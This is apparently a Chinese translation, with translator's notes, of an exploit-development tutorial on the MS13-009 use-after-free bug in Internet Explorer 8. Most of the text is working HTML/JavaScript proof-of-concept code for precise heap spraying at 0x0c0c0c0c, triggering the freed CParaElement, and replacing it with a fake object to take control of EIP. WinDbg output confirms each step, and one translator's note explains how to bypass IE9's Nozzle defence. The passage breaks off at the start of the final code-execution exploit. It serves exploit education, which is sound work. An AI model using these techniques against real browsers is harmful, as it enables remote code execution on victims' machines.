我想这个话题需要一些介绍，否则你会发现我们即将遇到的大部分障碍都不怎么熟悉。我不会非常详细的展开，因为那太过于耗时了。如果你对这里的一些话题不是很熟悉的话，我建议你先阅读本系列的第7部分（ROP）和第8部分（堆喷射[第一章：Vanilla EIP]）以及上面的阅读材料。

在我们讨论UAF之前我们需要先理解虚表（vtable）是什么。C++语言允许基类去定义虚函数。而对于子类来说，它们可以重新去定义这些虚函数的实现体留为己用。也就是说虚函数允许子类去替换基类所提供的实现体。编译器确保被替换的函数永远会被调用，只要该对象实际上是一个子类的话。这些都发生在运行时。


译者注：这里实际上说的不是太理想，虚函数就是子类可以重新定义实现体，且会取代父类提供的实现体。C++用此实现多态，即运行时动态绑定。而所谓多态，简单理解就是——当用父类指针指向子类对象时，一旦调用到虚函数，最后执行的会是子类定义的那个实现体，即作者所说的那个replacement。



虚表保存了基类中定义的各种虚函数实现体的指针。当一个函数在运行时需要被调用时，合适的指针会从对应的子类虚表中选择出来。我们可以看这样一张表示图。

[image: ]

UAF漏洞往往较为复杂，引发的问题也变化多端。通常执行流会像这样：


	在某个点上一个对象被创建并与一个虚表相关联。

	此后对象由一个虚表指针所调用。如果我们在调用前释放了该对象那么程序会在后面调用该对象时崩溃（eg: 在释放后尝试重用对象——UAF）。



想要利用这个议题我们将通常执行这些操作：


	在某个点一个对象被创建

	触发该对象的释放操作

	我们创建自己的对象，它的尺寸尽可能的和原始对象相仿

	此后当虚表指针被调用时，我们的伪造对象就被用到并得以执行代码



通常这些听起来贼复杂，但是随着我们示例的展开，一切都会渐渐清晰。首先我们创建一个可信的堆喷射，此后我们再聚焦于MS13-009！

堆上的Shellcode

如在第八部分中做的那样，我想先以IE8的一个可信堆喷射开始。继续此前的工作，我们使用下面的POC。该POC有些轻量改动。最主要的不同在于我增加了一个alloc函数，它会将我们输入的buffer尺寸进行调整，以便于它们可以匹配BSTR的规格（我们需要扣除6以补偿BSTR header和footer，除2是因为我们用的是unicode unescape）。

<html>
<script>
 
    //Fix BSTR spec
    function alloc(bytes, mystr) {
        while (mystr.length<bytes) mystr += mystr;
        return mystr.substr(0, (bytes-6)/2);
    }
     
    block_size = 0x1000; // 4096-bytes
    NopSlide = '';
     
    var Shellcode = unescape(
    '%u7546%u7a7a%u5379'+   // ASCII
    '%u6365%u7275%u7469'+   // FuzzySecurity
    '%u9079');
     
    for (c = 0; c < block_size; c++){ 
    NopSlide += unescape('%u9090');}
    NopSlide = NopSlide.substring(0,block_size - Shellcode.length);
     
    var OBJECT = Shellcode + NopSlide;
    OBJECT = alloc(0xfffe0, OBJECT); // 0xfffe0 = 1mb
     
    var evil = new Array();
    for (var k = 0; k < 150; k++) {
        evil[k] = OBJECT.substr(0, OBJECT.length);
    }
     
    alert("Spray Done!");
     
</script>
</html>


快速看看调试器，堆喷射都发生了什么。

Looking at the default process heap we can see that our spray accounts for 98,24% of the busy blocks, we
can tell it is our spray because the blocks have a size of 0xfffe0 (= 1 mb).

0:019> !heap -stat -h 00150000
 heap @ 00150000
group-by: TOTSIZE max-display: 20
    size     #blocks     total     ( %) (percent of total busy bytes)
    fffe0 97 - 96fed20  (98.24)
    3fff8 3 - bffe8  (0.49)
    7ff8 f - 77f88  (0.30)
    1fff8 3 - 5ffe8  (0.24)
    1ff8 28 - 4fec0  (0.20)
    fff8 3 - 2ffe8  (0.12)
    3ff8 7 - 1bfc8  (0.07)
    ff8 13 - 12f68  (0.05)
    7f8 1e - ef10  (0.04)
    8fc1 1 - 8fc1  (0.02)
    5fc1 1 - 5fc1  (0.02)
    57e0 1 - 57e0  (0.01)
    3f8 15 - 5358  (0.01)
    4fc1 1 - 4fc1  (0.01)
    5e4 b - 40cc  (0.01)
    3980 1 - 3980  (0.01)
    20 1bb - 3760  (0.01)
    388 d - 2de8  (0.01)
    2cd4 1 - 2cd4  (0.01)
    480 7 - 1f80  (0.01)

Listing only the allocation with a size of 0xfffe0 we can see that our spray is huge stretching from
0x03680018 to 0x0d660018. Another important thing to notice is that the Heap Entry Addresses all seem
to end like this 0x????0018, this is a good indicator that our spray is reliable.

0:019> !heap -flt s fffe0
    _HEAP @ 150000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        03680018 1fffc 0000  [0b]   03680020    fffe0 - (busy VirtualAlloc)
        03a30018 1fffc fffc  [0b]   03a30020    fffe0 - (busy VirtualAlloc)
        03790018 1fffc fffc  [0b]   03790020    fffe0 - (busy VirtualAlloc)
        038a0018 1fffc fffc  [0b]   038a0020    fffe0 - (busy VirtualAlloc)
        03b40018 1fffc fffc  [0b]   03b40020    fffe0 - (busy VirtualAlloc)
        03c50018 1fffc fffc  [0b]   03c50020    fffe0 - (busy VirtualAlloc)
[...snip...]
        0d110018 1fffc fffc  [0b]   0d110020    fffe0 - (busy VirtualAlloc)
        0d220018 1fffc fffc  [0b]   0d220020    fffe0 - (busy VirtualAlloc)
        0d330018 1fffc fffc  [0b]   0d330020    fffe0 - (busy VirtualAlloc)
        0d440018 1fffc fffc  [0b]   0d440020    fffe0 - (busy VirtualAlloc)
        0d550018 1fffc fffc  [0b]   0d550020    fffe0 - (busy VirtualAlloc)
        0d660018 1fffc fffc  [0b]   0d660020    fffe0 - (busy VirtualAlloc)


0:019> d 03694024-10
03694014  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
03694024  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 90 90  FuzzySecurity...
03694034  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
03694044  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
03694054  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
03694064  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
03694074  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
03694084  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0:019> d 03694024-10+2000
03696014  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
03696024  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 90 90  FuzzySecurity...
03696034  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
03696044  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
03696054  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
03696064  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
03696074  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
03696084  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0:019> d 03694024-10+4000
03698014  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
03698024  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 90 90  FuzzySecurity...
03698034  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
03698044  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
03698054  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
03698064  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
03698074  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
03698084  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................

We are particularly interested in the address 0x0c0c0c0c. Since this address has been allocate on the heap
by our spray we can use the command below we can find out which Heap Entry 0x0c0c0c0c belongs to.

0:019> !heap -p -a 0c0c0c0c
    address 0c0c0c0c found in
    _HEAP @ 150000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        0c010018 1fffc 0000  [0b]   0c010020    fffe0 - (busy VirtualAlloc)


下图是我们堆喷射的可视化显示。我们用150mb大小的数据填充了堆，这150mb被分成了150个1mb的块（每个块都以独立的BSTR对象存储）。该BSTR对象由0x1000（4096字节）的块填充，它包含了我们的shellcode和NOP指令。

[image: ]

到目前一切顺利！下面我们需要重组我们的堆喷射，以便于shellcode指针精准的放在0x0c0c0c0c，这里将是我们的ROP链首。考虑到由于我们的堆喷射，如果0x0c0c0c0c在内存的某个地方被分配了，那么它在0x1000块的内部一定有一个特定的偏移。我们想要做的就是计算出0x0c0c0c0c到块首的偏移，并把这个偏移作为喷射的padding。



 ________________________                          ________________________
|                        |                        |                        |
|       Shellcode        |                        |        Padding         |
|------------------------|                        |                        |
|                        |                        |                        |
|                        |                        |                        |
|                        |                        |                        |
|                        |                        |                        |
|                        | <-- 0x0c0c0c0c         |------------------------| <-- 0x0c0c0c0c
|                        |     Points into our    |                        |     Points at the 
|         NOP's          |     NOP's.             |       Shellcode        |     beginning of our
|                        |                        |                        |     shellcode.
|                        |                        |                        |
|                        |                        |                        |
|                        |                        |                        |
|                        |                        |        [+ NOP's]       |
|                        |                        |                        |
|     (0x1000 Block)     |                        |     (0x1000 Block)     |
|________________________|                        |________________________|


如果你重新运行上面的堆喷射，你会注意到0x0c0c0c0c并不总是指向同一个堆项，然而0x1000块到0x0c0c0c0c的偏移却始终是不变的。我们已经掌握了padding尺寸计算的所有信息。

0:019> !heap -p -a 0c0c0c0c
    address 0c0c0c0c found in
    _HEAP @ 150000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        0c010018 1fffc 0000  [0b]   0c010020    fffe0 - (busy VirtualAlloc)
        
        
  0x0c0c0c0c (Address we are interested in)
- 0x0c010018 (Heap Entry Address)
  ----------
     0xb0bf4 => Distance between the Heap Entry address and 0x0c0c0c0c, this value will be different from
                spray to spray. Next we need to find out what the offset is in our 0x1000 hex block. We
                can do this by subtracting multiples of 0x1000 till we have a value that is smaller than
                0x1000 hex (4096-bytes).

       0xbf4 => We need to correct this value based on our allocation size => (x/2)-6
       
       0x5f4 => If we insert a padding of this size in our 0x1000 block it will align our shellcode
                exactly to 0x0c0c0c0c.



让我们修改POC并重新运行堆喷射。

<html>
<script>
 
    //Fix BSTR spec
    function alloc(bytes, mystr) {
        while (mystr.length<bytes) mystr += mystr;
        return mystr.substr(0, (bytes-6)/2);
    }
     
    block_size = 0x1000;
    padding_size = 0x5F4; //offset to 0x0c0c0c0c inside our 0x1000 hex block
    Padding = '';
    NopSlide = '';
     
    var Shellcode = unescape(
    '%u7546%u7a7a%u5379'+   // ASCII
    '%u6365%u7275%u7469'+   // FuzzySecurity
    '%u9079');
     
    for (p = 0; p < padding_size; p++){ 
    Padding += unescape('%ub33f');}
     
    for (c = 0; c < block_size; c++){ 
    NopSlide += unescape('%u9090');}
    NopSlide = NopSlide.substring(0,block_size - (Shellcode.length + Padding.length));
     
    var OBJECT = Padding + Shellcode + NopSlide;
    OBJECT = alloc(0xfffe0, OBJECT); // 0xfffe0 = 1mb
     
    var evil = new Array();
    for (var k = 0; k < 150; k++) {
        evil[k] = OBJECT.substr(0, OBJECT.length);
    }
     
    alert("Spray Done!");
     
</script>
</html>


我们可以看到我们已经重组了shellcode到0x0c0c0c0c。实际上当我们在内存中搜索字符串"FuzzySecurity"时我们可以看到所有的位置都以相同的字节序列"0x???c0c"终止。

0:019> !heap -stat -h 00150000
 heap @ 00150000
group-by: TOTSIZE max-display: 20
    size     #blocks     total     ( %) (percent of total busy bytes)
    fffe0 97 - 96fed20  (98.18)
    3fff8 3 - bffe8  (0.49)
    7ff8 f - 77f88  (0.30)
    1fff8 3 - 5ffe8  (0.24)
    1ff8 2b - 55ea8  (0.22)
    fff8 4 - 3ffe0  (0.16)
    3ff8 8 - 1ffc0  (0.08)
    ff8 13 - 12f68  (0.05)
    7f8 1e - ef10  (0.04)
    8fc1 1 - 8fc1  (0.02)
    5fc1 1 - 5fc1  (0.02)
    57e0 1 - 57e0  (0.01)
    3f8 15 - 5358  (0.01)
    4fc1 1 - 4fc1  (0.01)
    5e4 b - 40cc  (0.01)
    3980 1 - 3980  (0.01)
    20 1bb - 3760  (0.01)
    388 d - 2de8  (0.01)
    2cd4 1 - 2cd4  (0.01)
    480 7 - 1f80  (0.01)
	

0:019> s -a 0x00000000 L?7fffffff "FuzzySecurity"
[...snip...]
0c0c0c0c  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 90 90  FuzzySecurity...
[...snip...]
0d874c0c  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 90 90  FuzzySecurity...
0d876c0c  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 90 90  FuzzySecurity...
0d878c0c  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 90 90  FuzzySecurity...
0d87ac0c  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 90 90  FuzzySecurity...
0d87cc0c  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 90 90  FuzzySecurity...
0d87ec0c  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 90 90  FuzzySecurity...


0:019> d 0c0c0c0c-20
0c0c0bec  3f b3 3f b3 3f b3 3f b3-3f b3 3f b3 3f b3 3f b3  ?.?.?.?.?.?.?.?.
0c0c0bfc  3f b3 3f b3 3f b3 3f b3-3f b3 3f b3 3f b3 3f b3  ?.?.?.?.?.?.?.?.
0c0c0c0c  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 90 90  FuzzySecurity...
0c0c0c1c  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0c0c0c2c  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0c0c0c3c  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0c0c0c4c  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0c0c0c5c  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................


我们现在重组了堆喷射，且可以把shellcode放到选择的任意地址（本例中是0x0c0c0c0c）。堆喷射在Windows XP/7上的IE7-8上运作良好。稍微修改一下也可以在IE9上运行，但这已经超出了本教程的范围。


译者注：IE9引入了Nozzle，但实际上非常好绕过，Nozzle不允许毗邻堆块完全一致，绕过方法也很简单，每个chunk的junk值都不同即可（实际上修改1个字节即可）。另一方面，到了DEP的时代，0x0c0c0c0c这个值已经丧失了原本的意义，原本用于sled的0C指令也就无需执行，改成什么其他的数都是可以的，这也要求我们的堆喷需要十分精准的到ROP链首，exactly。



近距离审视MS13-009

如上面所提到的，本文主要的目的不是去分析漏洞，而是理解在编写exp时所遇到的障碍。我们会快速的看一下这个漏洞以理解发生了些什么。下面给出触发该bug的POC。

<!doctype html>
<html>
<head>
<script>
  
    setTimeout(function(){
    document.body.style.whiteSpace = "pre-line";
     
    //CollectGarbage();
  
        setTimeout(function(){document.body.innerHTML = "boo"}, 100)
        }, 100)
  
</script>
</head>
<body>
<p> </p>
</body>
</html>


好的，让我们在调试器中看看触发漏洞时发生了什么。你会注意到我添加了CollectGarbage()函数（但注释掉了）。在我的测试中我注意到这个bug有一点不稳定（只有80%左右），因此我曾用CollectGarbage()来实验看看他是否会提升稳定性。CollectGarbage()是个javascript可见的函数，它会清空四个bin，这4个bin用于在oleaut32.dll中实现一个自定义堆(custom heap)管理引擎。当我们试图去在堆上分配自己伪造的对象时，它会变得非常有用。在我的测试中，我无法判断它是否会引起差异，如果有人直到的话请给我留言。

从下面的执行流来看，有一个试图去调用虚表中函数的对象，调用位置在eax偏移0x70处。

0:019> g
(e74.f60): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00205618 ecx=024e0178 edx=00000000 esi=0162bcd0 edi=00000000
eip=3cf76982 esp=0162bca4 ebp=0162bcbc iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
mshtml!CElement::Doc+0x2:
3cf76982 8b5070          mov     edx,dword ptr [eax+70h] ds:0023:00000070=????????


0:008> uf mshtml!CElement::Doc
mshtml!CElement::Doc:
3cf76980 8b01            mov     eax,dword ptr [ecx]
3cf76982 8b5070          mov     edx,dword ptr [eax+70h]
3cf76985 ffd2            call    edx
3cf76987 8b400c          mov     eax,dword ptr [eax+0Ch]
3cf7698a c3              ret


栈回溯显示了执行流，最终引导至崩溃。在调用期望返回处程序未崩溃之前，如果我们反汇编（unassemble）该返回地址，就可以看到该函数是如何被调用的了。看起来某个在EBX的函数传递了它的虚表指针给ECX，然后由mshtml!CElement::Doc所引用来调用一个在偏移0x70处的函数。

0:008> knL
 # ChildEBP RetAddr  
00 0162bca0 3cf149d1 mshtml!CElement::Doc+0x2
01 0162bcbc 3cf14c3a mshtml!CTreeNode::ComputeFormats+0xb9
02 0162bf68 3cf2382e mshtml!CTreeNode::ComputeFormatsHelper+0x44
03 0162bf78 3cf237ee mshtml!CTreeNode::GetFancyFormatIndexHelper+0x11
04 0162bf88 3cf237d5 mshtml!CTreeNode::GetFancyFormatHelper+0xf
05 0162bf98 3d013ef0 mshtml!CTreeNode::GetFancyFormat+0x35
06 0162bfb8 3d030be9 mshtml!CLayoutBlock::GetDisplayAndPosition+0x77
07 0162bfd4 3d034850 mshtml!CLayoutBlock::IsBlockNode+0x1e
08 0162bfec 3d0347e2 mshtml!SLayoutRun::GetInnerNodeCrossingBlockBoundary+0x43
09 0162c008 3d0335ab mshtml!CTextBlock::AddSpansOpeningBeforeBlock+0x1f
0a 0162d71c 3d03419d mshtml!CTextBlock::BuildTextBlock+0x280
0b 0162d760 3d016538 mshtml!CLayoutBlock::BuildBlock+0x1ec
0c 0162d7e0 3d018419 mshtml!CBlockContainerBlock::BuildBlockContainer+0x59c
0d 0162d818 3d01bb86 mshtml!CLayoutBlock::BuildBlock+0x1c1
0e 0162d8dc 3d01ba45 mshtml!CCssDocumentLayout::GetPage+0x22a
0f 0162da4c 3cf5bdc7 mshtml!CCssPageLayout::CalcSizeVirtual+0x254
10 0162db84 3cee2c95 mshtml!CLayout::CalcSize+0x2b8
11 0162dc20 3cf7e59c mshtml!CView::EnsureSize+0xda
12 0162dc64 3cf8a648 mshtml!CView::EnsureView+0x340
13 0162dc8c 3cf8a3b9 mshtml!CView::EnsureViewCallback+0xd2
14 0162dcc0 3cf750de mshtml!GlobalWndOnMethodCall+0xfb
15 0162dce0 7e418734 mshtml!GlobalWndProc+0x183
16 0162dd0c 7e418816 USER32!InternalCallWinProc+0x28
17 0162dd74 7e4189cd USER32!UserCallWinProcCheckWow+0x150
18 0162ddd4 7e418a10 USER32!DispatchMessageWorker+0x306
19 0162dde4 3e2ec29d USER32!DispatchMessageW+0xf
1a 0162feec 3e293367 IEFRAME!CTabWindow::_TabWindowThreadProc+0x54c
1b 0162ffa4 3e135339 IEFRAME!LCIETab_ThreadProc+0x2c1
1c 0162ffb4 7c80b729 iertutil!CIsoScope::RegisterThread+0xab
1d 0162ffec 00000000 kernel32!BaseThreadStart+0x37


0:008> u 3cf149d1-7
mshtml!CTreeNode::ComputeFormats+0xb2:
3cf149ca 8b0b            mov     ecx,dword ptr [ebx]
3cf149cc e8af1f0600      call    mshtml!CElement::Doc (3cf76980)
3cf149d1 53              push    ebx
3cf149d2 891e            mov     dword ptr [esi],ebx
3cf149d4 894604          mov     dword ptr [esi+4],eax
3cf149d7 8b0b            mov     ecx,dword ptr [ebx]
3cf149d9 56              push    esi
3cf149da e837010000      call    mshtml!CElement::ComputeFormats (3cf14b16)


We can confirm our suspicions by looking at some register values.

0:008> d ebx
00205618  78 01 4e 02 00 00 00 00-4d 20 ff ff ff ff ff ff  x.N.....M ......
00205628  51 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  Q...............
00205638  00 00 00 00 00 00 00 00-52 00 00 00 00 00 00 00  ........R.......
00205648  00 00 00 00 00 00 00 00-00 00 00 00 80 3f 4e 02  .............?N.
00205658  01 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
00205668  a5 0d a8 ea 00 01 0c ff-b8 38 4f 02 e8 4f 20 00  .........8O..O .
00205678  71 02 ff ff ff ff ff ff-71 01 00 00 01 00 00 00  q.......q.......
00205688  f8 4f 20 00 80 4b 20 00-f8 4f 20 00 98 56 20 00  .O ..K ..O ..V .

0:008> d ecx
024e0178  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
024e0188  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
024e0198  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
024e01a8  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
024e01b8  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
024e01c8  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
024e01d8  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
024e01e8  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................

0:008> r
eax=00000000 ebx=00205618 ecx=024e0178 edx=00000000 esi=0162bcd0 edi=00000000
eip=3cf76982 esp=0162bca4 ebp=0162bcbc iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246


通过设置一些巧妙的断点，我们可以追溯到mshtml!CTreeNode的分配来看看是否有熟悉的值出现。下面的结果显示EBX指向CParaElement，被调用的函数是CElement:SecurityContext。这看起来和MS13-009的漏洞描述一致：“IE浏览器的一个UAF漏洞，CParaElement节点被释放了但在CDoc中却仍旧保留了一个引用。当CDoc重新布局时这段内存会被重用到”。

0:019> bp mshtml!CTreeNode::CTreeNode+0x8c ".printf \"mshtml!CTreeNode::CTreeNode allocated obj at %08x,
ref to obj %08x of type %08x\\n\", eax, poi(eax), poi(poi(eax)); g"

0:019> g
mshtml!CTreeNode::CTreeNode allocated obj at 002059d8, ref to obj 024d1f70 of type 3cebd980
mshtml!CTreeNode::CTreeNode allocated obj at 002060b8, ref to obj 024d1e80 of type 3cebd980
mshtml!CTreeNode::CTreeNode allocated obj at 002060b8, ref to obj 0019ef80 of type 3cf6fb00
mshtml!CTreeNode::CTreeNode allocated obj at 00206218, ref to obj 024d1e80 of type 3cecf528
mshtml!CTreeNode::CTreeNode allocated obj at 00205928, ref to obj 024d1be0 of type 3cecf7f8
mshtml!CTreeNode::CTreeNode allocated obj at 00206008, ref to obj 024ff7d0 of type 3cecfa78
mshtml!CTreeNode::CTreeNode allocated obj at 00205c98, ref to obj 024151c0 of type 3ceca868
mshtml!CTreeNode::CTreeNode allocated obj at 002054b0, ref to obj 024ff840 of type 3cedcfe8
mshtml!CTreeNode::CTreeNode allocated obj at 00205fb0, ref to obj 024d1c10 of type 3cee61e8
mshtml!CTreeNode::CTreeNode allocated obj at 00206060, ref to obj 030220b0 of type 3cebd980
mshtml!CTreeNode::CTreeNode allocated obj at 002062c8, ref to obj 03022110 of type 3cecf528
mshtml!CTreeNode::CTreeNode allocated obj at 00206320, ref to obj 03022170 of type 3cecf7f8
mshtml!CTreeNode::CTreeNode allocated obj at 00206378, ref to obj 024ffb88 of type 3cecfa78
mshtml!CTreeNode::CTreeNode allocated obj at 002063d0, ref to obj 024ffb50 of type 3cedcfe8
(b54.cd4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00205fb0 ecx=024d0183 edx=00000000 esi=0162bcd0 edi=00000000
eip=3cf76982 esp=0162bca4 ebp=0162bcbc iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
mshtml!CElement::Doc+0x2:
3cf76982 8b5070          mov     edx,dword ptr [eax+70h] ds:0023:00000070=????????

0:008> ln 3cee61e8
(3cee61e8)   mshtml!CParaElement::`vftable'   |  (3d071410)   mshtml!CUListElement::`vftable'
Exact matches:
    mshtml!CParaElement::`vftable' = <no type information>

0:008> ln poi(mshtml!CParaElement::`vftable'+0x70)
(3cf76950)   mshtml!CElement::SecurityContext   |  (3cf76980)   mshtml!CElement::Doc
Exact matches:
    mshtml!CElement::SecurityContext (<no parameter info>)


MS13-009 EIP

如前面所提及，这里的主要焦点是如何克服编写exp过程中的各种阻碍，因此我不花时间来解释如何在堆上分配我们自己的对象。取而代之的是，我会使用一个公共可用的exp的片段。我们的新POC如下所示。

<!doctype html>
<html>
<head>
<script>
 
    var data;
    var objArray = new Array(1150);
  
    setTimeout(function(){
    document.body.style.whiteSpace = "pre-line";
  
    //CollectGarbage();
  
        for (var i=0;i<1150;i++){
            objArray[i] = document.createElement('div');
            objArray[i].className = data += unescape("%u0c0c%u0c0c");
        }
  
        setTimeout(function(){document.body.innerHTML = "boo"}, 100)
        }, 100)
  
</script>
</head>
<body>
<p> </p>
</body>
</html>


再次注意到CollectGarbage()函数，用它来看看在分配对象内存时是否有显著的区别。让我们看看执行POC后，调试器中发生了什么。

0:019> g
(ee4.d9c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0c0c0c0c ebx=00205fb0 ecx=024c0018 edx=00000000 esi=0162bcd0 edi=00000000
eip=3cf76982 esp=0162bca4 ebp=0162bcbc iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
mshtml!CElement::Doc+0x2:
3cf76982 8b5070          mov     edx,dword ptr [eax+70h] ds:0023:0c0c0c7c=????????

0:008> d ebx
00205fb0  18 00 4c 02 00 00 00 00-4d 20 ff ff ff ff ff ff  ..L.....M ......
00205fc0  51 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  Q...............
00205fd0  00 00 00 00 00 00 00 00-52 00 00 00 00 00 00 00  ........R.......
00205fe0  00 00 00 00 00 00 00 00-00 00 00 00 50 f7 4c 02  ............P.L.
00205ff0  01 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
00206000  78 0b a8 ea 00 01 0c ff-f8 1c 4e 02 70 57 20 00  x.........N.pW .
00206010  71 02 02 00 01 00 00 00-71 01 00 00 01 00 00 00  q.......q.......
00206020  80 57 20 00 48 5b 20 00-80 57 20 00 30 60 20 00  .W .H[ ..W .0` .

0:008> d ecx
024c0018  0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c  ................
024c0028  0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c  ................
024c0038  0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c  ................
024c0048  0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c  ................
024c0058  0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c  ................
024c0068  0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c  ................
024c0078  0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c  ................
024c0088  0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c  ................

0:008> uf mshtml!CElement::Doc
mshtml!CElement::Doc:
3cf76980 8b01            mov     eax,dword ptr [ecx]      /// eax = 0x0c0c0c0c
3cf76982 8b5070          mov     edx,dword ptr [eax+70h]  /// edx = 0x0c0c0c0c + 0x70 = DWORD 0x0c0c0c7c
3cf76985 ffd2            call    edx                      /// call DWORD 0x0c0c0c7c


这一串指令以调用0x0c0c0c7c处的DWORD值（=EIP）而结束，如果0x0c0c0c7c在内存中是一个有效的地址的话。记住我们的堆喷射将shellcode对齐到了0x0c0c0c0c，下面我们会看到为什么这是必要的。只要记住我们可以设置EIP为任何想要的值，例如0xaaaaaaaa里的DWORD。这可以由覆盖EAX为0xaaaaaaaa-0x70=0xaaaaaa3a来实现。你将在下面看到这个例子。

<!doctype html>
<html>
<head>
<script>
 
    var data;
    var objArray = new Array(1150);
  
    setTimeout(function(){
    document.body.style.whiteSpace = "pre-line";
  
    //CollectGarbage();
  
        for (var i=0;i<1150;i++){
            objArray[i] = document.createElement('div');
            objArray[i].className = data += unescape("%uaaaa%uaa3a"); //Will set edx to DWORD 0xaaaaaaaa [EIP]
        }
  
        setTimeout(function(){document.body.innerHTML = "boo"}, 100)
        }, 100)
  
</script>
</head>
<body>
<p> </p>
</body>
</html>


让我们在调试器中证实我们会以覆盖EIP为[0xaaaaaaaa]而告终。

0:019> g
(8cc.674): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=aaaaaa3a ebx=002060a8 ecx=024c00c8 edx=00000000 esi=0162bcd0 edi=00000000
eip=3cf76982 esp=0162bca4 ebp=0162bcbc iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
mshtml!CElement::Doc+0x2:
3cf76982 8b5070          mov     edx,dword ptr [eax+70h] ds:0023:aaaaaaaa=????????

0:019> d ecx
024c00c8  3a aa aa aa 3a aa aa aa-3a aa aa aa 3a aa aa aa  ................
024c00d8  3a aa aa aa 3a aa aa aa-3a aa aa aa 3a aa aa aa  ................
024c00e8  3a aa aa aa 3a aa aa aa-3a aa aa aa 3a aa aa aa  ................
024c00f8  3a aa aa aa 3a aa aa aa-3a aa aa aa 3a aa aa aa  ................
024c0108  3a aa aa aa 3a aa aa aa-3a aa aa aa 3a aa aa aa  ................
024c0118  3a aa aa aa 3a aa aa aa-3a aa aa aa 3a aa aa aa  ................
024c0128  3a aa aa aa 3a aa aa aa-3a aa aa aa 3a aa aa aa  ................
024c0138  3a aa aa aa 3a aa aa aa-3a aa aa aa 3a aa aa aa  ................


MS13-009代码执行

走得挺远了！把这些内容放在一起我们就可以开启代码执行之旅了。首先创建我们新的POC，它包含了堆喷射以及触发漏洞的代码。

<!doctype html>
<html>
<head>
<script>
 
    //Fix BSTR spec
    function alloc(bytes, mystr) {
        while (mystr.length<bytes) mystr += mystr;
        return mystr.substr(0, (bytes-6)/2);
    }
     
    block_size = 0x1000;
